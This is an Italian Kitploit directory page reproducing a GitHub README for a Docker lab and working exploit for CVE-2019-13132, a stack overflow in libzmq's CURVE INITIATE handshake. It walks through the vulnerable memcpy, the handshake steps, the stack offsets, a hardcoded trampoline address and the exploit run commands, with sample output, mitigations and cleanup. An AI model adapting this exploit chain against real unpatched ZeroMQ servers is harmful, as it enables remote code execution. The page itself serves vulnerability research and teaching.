Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/dinosn/cve-2019-13132-lab
Analisi delle VulnerabilitàExploitReverse EngineeringFuzzingApprendimento e FormazioneSviluppo PayloadBinary ExploitationLab e Pratica
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — overflow dello stack di CURVE INITIATE in libzmq → RCE. Exploit funzionante + lab Docker.

Vedi Repository
24 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-13132 — overflow di stack in libzmq CURVE INITIATE → laboratorio RCE

CVE CVSS Affected License

Exploit RCE funzionante end-to-end + laboratorio riproducibile per CVE-2019-13132, un overflow di buffer dello stack nel gestore dell'handshake CURVE INITIATE di libzmq. Un attaccante che conosce la chiave pubblica a lungo termine del server (un parametro pubblico per design) può mandare in overflow un buffer di stack di dimensioni fisse in process_initiate(), sovrascrivere l'indirizzo di ritorno salvato e reindirizzare l'esecuzione a codice arbitrario.

Di Nicolas Krassas (@dinosn).

Solo uso in laboratorio. Questo kit include una libzmq 4.3.0 volutamente vulnerabile con le mitigazioni disabilitate. Non esporre la porta 5556 fuori dal laboratorio. Il bug è stato corretto in libzmq 4.3.2.


Avvio rapido

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Smoke test automatizzato (esegue l'exploit e verifica il file di prova):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Struttura del repository

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

La vulnerabilità

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box è un buffer allocato sullo stack di 416 byte. La memcpy scrive size - 113 byte nella regione payload di 400 byte (offset 16..415). Qualsiasi INITIATE con size > 513 oltrepassa il buffer, raggiungendo i registri del chiamato salvati e l'indirizzo di ritorno.

La verifica del cookie avviene prima dell'overflow, quindi l'INITIATE deve contenere un cookie autentico — ma il cookie si ottiene dal precedente messaggio WELCOME usando solo la chiave pubblica a lungo termine del server.


Catena dell'exploit

1. Handshake CURVE (serve solo la chiave pubblica)

Il protocollo CURVE è progettato in modo che i client possiedano già la chiave pubblica a lungo termine del server (si trova nell'URI di connessione o nella configurazione). L'exploit:

  1. Genera una nuova coppia di chiavi effimere (C', c').
  2. Invia un HELLO valido — il server lo decripta usando C' + la sua chiave segreta.
  3. Riceve WELCOME — lo decripta usando C' + la chiave pubblica del server.
  4. Estrae il cookie da WELCOME.
  5. Invia INITIATE con il cookie autentico + payload fuori misura.
  6. Il cookie viene validato e la memcpy vulnerabile scatta.

Nessuna credenziale a livello applicativo. Nessun bypass dell'autenticazione ZAP. L'overflow scatta durante lo scambio di chiavi CURVE, prima che l'applicazione veda mai il peer.

2. Overflow di stack → sovrascrittura dell'indirizzo di ritorno

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

L'exploit invia 464 byte di payload: 456 byte di riempimento (0x41) per raggiungere l'indirizzo di ritorno, quindi 8 byte contenenti l'indirizzo di lab_trampoline().

3. Percorso di errore → epilogo → ret → trampoline

Dopo l'overflow, crypto_box_open() fallisce (i dati tracimati sono ciphertext spazzatura). Il percorso di errore registra il fallimento, imposta errno e restituisce -1 — ma il percorso di errore accede solo a posizioni dello stack sotto la regione dell'overflow (RSP+0xe0, RSP+0xf0, RSP+0x280), quindi viene eseguito senza problemi con lo stack corrotto.

L'epilogo della funzione (add $0x628,%rsp; pop rbx-r15; ret) recupera i registri salvati corrotti (ora 0x4141414141414141) e poi ret carica il nostro indirizzo trampoline.

4. Esecuzione del codice

lab_trampoline() usa syscall grezze (niente libc, niente fork()) per scrivere il file di prova:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Le syscall grezze vengono usate al posto di system() / fork() perché process_initiate() viene eseguito sul thread I/O di libzmq — chiamare fork() da un thread non principale in un processo multi-thread causa deadlock sui gestori dei lock pthread_atfork di glibc.

Perché serve solo la chiave pubblica

La chiave pubblica a lungo termine del server è un parametro pubblico nel protocollo CurveZMQ — i client devono averla per connettersi. Di solito è distribuita tramite file di configurazione, URI o meccanismi di discovery. L'exploit non richiede materiale segreto.


Risoluzione degli offset

L'exploit richiede due valori:

campovaloreorigine
trampoline_addr0x401206nm server-curve (binario non-PIE, indirizzo fisso)
offset_to_ret456disassemblaggio di process_initiate (0x658 - 0x490)

Entrambi sono hardcoded in exploit.py come valori predefiniti per la build del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). Non serve alcuna fase di calibrazione — basta eseguire l'exploit:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Priorità di risoluzione: flag --trampoline/--offset → file --profile → /opt/zmq-curve-rce/profile.json → valori predefiniti.

Perché nessuna impronta runtime?

ZMTP non ha nessuna API di introspezione. Il greeting rivela solo la versione del protocollo (3.x) e il meccanismo (CURVE) — niente sulla build di libzmq, sul compilatore o sul layout del binario. Non esiste un identificatore di build accessibile a runtime che permetterebbe una selezione automatica degli offset contro target sconosciuti.

Gli script calibrate.sh / compute_offsets.py sono forniti per ricompilazioni su distribuzioni o versioni di gcc diverse, dove l'indirizzo del trampoline può cambiare. Nel laboratorio Docker vengono eseguiti automaticamente ma non sono necessari.


Esempio di output

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

Mitigazioni

DifesaEffetto
Aggiornare a libzmq >= 4.3.2Corretto. Aggiunge un controllo del limite superiore sulla dimensione di INITIATE prima della memcpy.
Canary di stack (-fstack-protector)Rileva l'overflow prima che la funzione restituisca. Il canary si trova tra le variabili locali e i registri salvati; l'overflow lo corrompe, attivando __stack_chk_fail.
ASLRRandomizza gli indirizzi delle librerie condivise e dello stack. Il trampoline si trova in un binario non-PIE (indirizzo fisso), ma un server di produzione sarebbe PIE, richiedendo un info leak.
PIERandomizza l'indirizzo di caricamento del binario del server. L'indirizzo del trampoline non sarebbe più prevedibile senza una leak.
NXNon rilevante qui — non viene iniettato shellcode; l'exploit chiama codice esistente.
ZAP / autenticazione a livello applicativoNon aiuta — l'overflow scatta durante lo scambio di chiavi CURVE, prima che ZAP venga consultato.

Pulizia

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

Riferimenti

  • NVD CVE-2019-13132
  • libzmq 4.3.2 release notes — la correzione
  • CurveZMQ spec (ZMQ RFC 26) — protocollo di handshake CURVE
  • ZMTP 3.1 (ZMQ RFC 37) — ZeroMQ Message Transport Protocol

Autore

Nicolas Krassas — @dinosn

Licenza

MIT. Il sorgente di libzmq 4.3.0 volutamente vulnerabile viene recuperato al momento della build dal repository upstream con licenza LGPLv3-con-eccezioni / MPLv2.

Disclaimer

Solo per ricerca di sicurezza difensiva, istruzione e test di sicurezza autorizzati. Non distribuire la build vulnerabile inclusa al di fuori di un ambiente di laboratorio isolato.

Scarica lo strumento